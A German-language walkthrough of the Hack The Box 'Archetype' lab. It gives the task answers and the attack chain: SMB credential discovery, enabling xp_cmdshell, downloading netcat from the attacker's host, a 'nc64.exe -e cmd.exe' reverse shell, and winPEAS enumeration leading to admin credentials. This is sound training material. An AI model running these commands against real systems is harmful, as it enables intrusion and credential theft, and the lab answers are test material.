Archetype | HTB Starting Point Writeup T2M01
In diesem Writeup geht es um die Starting Point Maschine "Archetype" auf Hack The Box.
Wie immer, dass passende Video zum Beitrag hier: https://youtu.be/xTgUc7h8VGw
- An welchem TCP-Port befindet sich ein Datenbankserver?
1433
- Wie lautet der Name der nicht-administrativen Freigabe, die über SMB verfügbar ist?
backup
- Wie lautet das Kennwort, das in der Datei auf der SMB-Freigabe angegeben ist?
M3g4c0rp123
unter dembackups
Share finden wir die Zugangsdaten für den UserARCHETYPE\\sql_svc
- Welches Skript aus der Impacket-Sammlung kann verwendet werden, um eine authentifizierte Verbindung zu einem Microsoft SQL Server herzustellen?
mssqlclient.py
- Welche erweiterte gespeicherte Prozedur von Microsoft SQL Server kann verwendet werden, um eine Windows-Befehlsshell zu starten?
xp_cmdshell
Wir prüfen als erstes, welche Rolle wir auf dem Server haben.
Wenn wir nun versuchen den Befehl xp_cmdshell
auszuführen, erkennen wir am Fehler, dass wir die Funktion erst aktivieren müssen.
Nach kurzem prüfen der Windows-Docs, finden wir die passenden Befehle zum aktiveren hier.
-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1;
GO
-- To update the currently configured value for advanced options.
RECONFIGURE;
GO
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1;
GO
-- To update the currently configured value for this feature.
RECONFIGURE;
GO
-- To set "show advanced options" back to false
EXECUTE sp_configure 'show advanced options', 0;
GO
-- To update the currently configured value for advanced options.
RECONFIGURE;
GO
Zusatz: Als kleinen Zusatz, können wir uns nun für die letzten Schritte noch einen angenehmeren Zugang zum System per Reverse-Shell beschaffen.
als erstes laden wir uns dafür die Netcat Binary herunter.
Dann starten wir einen Python HTTP-Server in dem Verzeichnis, wo sich die nc64.exe
Binary befindet.
Wir lassen nun noch einen Netcat-Listener auf Port 443 laufen.
Und können jetzt die Binary mit dem passenden PowerShell-Befehl per xp_cmdshell
herunterladen.
xp_cmdshell "powershell -c cd C:\\Users\\sql_svc\\Downloads; wget <http://10.10.14.39/nc64.exe> -outfile nc64.exe
Wie wir sehen, war der Download erfolgreich. Nun bringen wir noch die CMD zu dem Listener
xp_cmdshell "powershell -c cd C:\\Users\\sql_svc\\Downloads; .\\nc64.exe -e cmd.exe 10.10.14.39 443"
Damit erscheint jetzt bei unserem Netcat-Listener eine CMD-Session in der wir die weiteren Schritte ausführen können.
💡 Hier kann die erste Flag nun unter dem User-Desktop gefunden werden.
- Welches Skript kann verwendet werden, um mögliche Pfade zur Erhöhung der Berechtigungen auf Windows-Hosts zu suchen?
winPease
Als erstes Downloaden wir die WinPease Binary auf unseren Linux Host.
wget <https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe>
Nun starten wir in dem Verzeichnis wieder einen Python Webserver
Anschließend Downloaden wir die Binary auf unseren Zielhost
powershell wget <http://10.10.14.39/winPEASx64.exe> -outfile winPEASx64.exe
- Welche Datei enthält das Passwort des Administrators?
ConsoleHost_history.txt
Das Tool können wir jetzt mit.\winPEASx64.exe
ausführen.Nachdem das Tool durchgelaufen ist entdecken wir folgende Ausgabe:
Dies sagt uns, dass eine History-Datei für PowerShell vorhanden ist, welche eventuell sensible Daten enthält. Schauen wir also nach.
Bingo! in der History finden wir die Credentials für den Administrator-Account
Flags
User Flag: Die erste Flag befindet sich auf dem User-Desktop
Root Flag: Die Zweite Flag finden wir auf dem Administrator-Desktop mithilfe des Administratorpassworts.